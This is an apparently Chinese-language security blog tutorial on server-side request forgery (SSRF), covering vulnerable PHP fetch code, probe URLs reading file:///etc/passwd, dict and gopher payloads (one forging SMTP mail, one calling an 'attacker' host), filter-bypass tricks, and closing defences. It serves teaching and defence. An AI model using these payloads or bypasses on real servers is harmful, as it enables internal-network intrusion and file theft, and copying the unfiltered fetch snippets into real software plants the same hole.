SSRF

这篇文章介绍SSRF攻击基本知识。

ssrf概述

一、什么是ssrf

脑图一张:

1.解释

服务器端请求伪造(SSRF:Server-Side Request Forgery)是一个 Web 安全漏洞,意为:攻击者诱导服务器将 HTTP 请求发送到攻击者选择的一个目标上。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。

2.形成:

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。典例代码:

1
2
3
4
5
6
7
8
9
10
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
$data =curl_exec($ch);
curl_close($ch);
echo $data;
?>

3.危害有:

3.1 扫描内网开放服务

3.2 向内部任意主机的任意端口发送payload来攻击内网服务

3.3 DOS攻击(请求大文件,始终保持连接Keep-Alive Always)

3.4 攻击内网的web应用,例如直接SQL注入、XSS攻击等

3.5 利用file、gopher、dict协议读取本地文件、执行命令等

4.检测

假设一个漏洞场景:某网站有一个在线加载功能可以把指定的远程图片加载到本地,功能链接如下:

1
http://www.xxx.com/image.php?image=http://www.xxc.com/a.jpg

那么网站请求的大概步骤应该是类似以下:

1
用户输入图片地址->请求发送到服务端解析->服务端请求链接地址的图片数据->获取请求的数据加载到前台显示

这个过程中可能出现问题的点就在于请求发送到服务端的时候,系统没有效验前台给定的参数是不是允许访问的地址域名,例如,如上的链接可以修改为:

1
http://www.xxx.com/image.php?image=http://127.0.0.1:22

如上请求时则可能返回请求的端口banner。如果协议允许,甚至可以使用其他协议来读取和执行相关命令。例如

1
2
3
4
http://www.xxx.com/image.php?image=file:///etc/passwd
http://www.xxx.com/image.php?image=dict://127.0.0.1:22/data:data2 (dict可以向服务端口请求data data2)
http://www.xxx.com/image.php?image=gopher://127.0.0.1:2233/_test (向2233端口发送数据test,同样可以发送POST请求)
......

对于不同语言实现的web系统可以使用的协议也存在不同的差异,其中:

1
2
3
4
php:
http、https、file、gopher、phar、dict、ftp、ssh、telnet...
java:
http、https、file、ftp、jar、netdoc、mailto...

判断漏洞是否存在的重要前提是,请求的服务器发起的,以上链接即使存在并不一定代表这个请求是服务器发起的。因此前提不满足的情况下,SSRF是不必要考虑的。

1
http://www.xxx.com/image.php?image=http://www.xxc.com/a.jpg

链接获取后,是由js来获取对应参数交由window.location来处理相关的请求,或者加载到当前的iframe框架中,此时并不存在SSRF ,因为请求是本地发起,并不能产生攻击服务端内网的需求。

二、SSRF相关函数和协议

函数
file_get_contents()、fsockopen()、curl_exec()、fopen()、readfile()等函数使用不当会造成SSRF漏洞。

1
2
3
4
5
6
7
注意事项:
一般情况下PHP不会开启fopen的gopher wrapper
file_get_contents的gopher协议不能URL编码
file_get_contents关于Gopher的302跳转会出现bug,导致利用失败
curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
curl_exec() //默认不跟踪跳转,
file_get_contents() // file_get_contents支持php://input协议

1.file_get_contents()

file_get_content函数从用户指定的url获取内容,然后指定一个文件名进行保存,并展示给用户。

1
<?php$url = $_GET['url'];;echo file_get_contents($url);?>

2.fsockopen()

fsockopen函数实现对用户指定url数据的获取,该函数使用socket(端口)跟服务器建立tcp连接,传输数据。变量host为主机名,port为端口,errstr表示错误信息将以字符串的信息返回,30为时限

1
<?php function GetFile($host,$port,$link) {     $fp = fsockopen($host, intval($port), $errno, $errstr, 30);       if (!$fp) {         echo "$errstr (error number $errno) \n";     } else {         $out = "GET $link HTTP/1.1\r\n";         $out .= "Host: $host\r\n";         $out .= "Connection: Close\r\n\r\n";         $out .= "\r\n";         fwrite($fp, $out);         $contents='';         while (!feof($fp)) {             $contents.= fgets($fp, 1024);         }         fclose($fp);         return $contents;     } }?>

3.curl_exec()

curl_exec函数用于执行指定的cURL会话

1
<?php if (isset($_POST['url'])){    $link = $_POST['url'];    $curlobj = curl_init();// 创建新的 cURL 资源    curl_setopt($curlobj, CURLOPT_POST, 0);    curl_setopt($curlobj,CURLOPT_URL,$link);    curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);// 设置 URL 和相应的选项    $result=curl_exec($curlobj);// 抓取 URL 并把它传递给浏览器    curl_close($curlobj);// 关闭 cURL 资源,并且释放系统资源    $filename = './curled/'.rand().'.txt';    file_put_contents($filename, $result);     echo $result;}?>

三、相关可利用协议

  1. file: 在有回显的情况下,利用 file 协议可以读取任意内容

  2. dict:泄露安装软件版本信息,查看端口,操作内网redis服务等

  3. gopher:gopher支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell

  4. http/s:探测内网主机存活

  5. 。。。

四、ssrf常用简单绕过

1. 限制为http://www.xxx.com 域名时(利用@)

1
可以尝试采用http基本身份认证的方式绕过如:http://www.aaa.com@www.bbb.com@www.ccc.com,在对@解析域名中,不同的处理函数存在处理差异在PHP的parse_url中会识别www.ccc.com,而libcurl则识别为www.bbb.com。

2.限制请求IP不为内网地址

​ 1:采用短网址绕过,比如百度短地址https://dwz.cn/
2:利用特殊域名
原理是DNS解析。xip.io可以指向任意域名,即

1
127.0.0.1.xip.io,可解析为127.0.0.1

3:采用进制转换,127.0.0.1八进制:0177.0.0.1。十六进制:0x7f.0.0.1。十进制:2130706433

3.限制请求只为http协议

1
采用302跳转,百度短地址,或者使用https://tinyurl.com生成302跳转地址。

4.利用[::]

可以利用[::]来绕过localhost

1
http://[::]:80/  >>>  http://127.0.0.1

5.利用句号

1
127001  >>>  127.0.0.1

6.利用特殊地址

1
http://0/

7.利用协议

1
Dict://dict://<user-auth>@<host>:<port>/d:<word>ssrf.php?url=dict://attacker:11111/SFTP://ssrf.php?url=sftp://example.com:11111/TFTP://ssrf.php?url=tftp://example.com:12346/TESTUDPPACKETLDAP://ssrf.php?url=ldap://localhost:11211/%0astats%0aquitGopher://ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a

8.利用上传

修改”type=file”为”type=url”
比如:
上传图片处修改上传,将图片文件修改为URL,即可能触发SSRF

9.利用Enclosed alphanumerics

1
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ  >>>  example.comList:① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

10.利用xip.io & xip.name

1
foo.bar.10.10.0.1.xip.io > 10.10.0.110.0.0.1.xip.io > 10.0.0.1www.10.10.0.1.xip.name > 10.10.0.1

11.利用302跳转 & 短域名(http://tinyurl.com)

五、其他

SSRF打穿内网
最近,国光发了篇文章,

SSRF-lab
界面简洁好看,提供了最基本的 REST API 和客户端 WebHook 功能用于 SSRF 测试。
项目地址:https://github.com/m6a-UdS/ssrf-lab
操作参见网上文章,如:https://blog.csdn.net/hxhxhxhxx/article/details/111770479

六、防御

1.禁止跳转

2.过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。

3.禁用不需要的协议,仅仅允许http和https请求。可以防止类似于file://, gopher://, ftp:// 等引起的问题

4.设置URL白名单或者限制内网IP(使用gethostbyname()判断是否为内网IP)

5.限制请求的端口为http常用的端口,比如 80、443、8080、8090

6.统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。

文章作者: uf9n1x
文章链接: https://uf9n1x.top/2023/04/16/ssrf/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Uf9n1x's Blog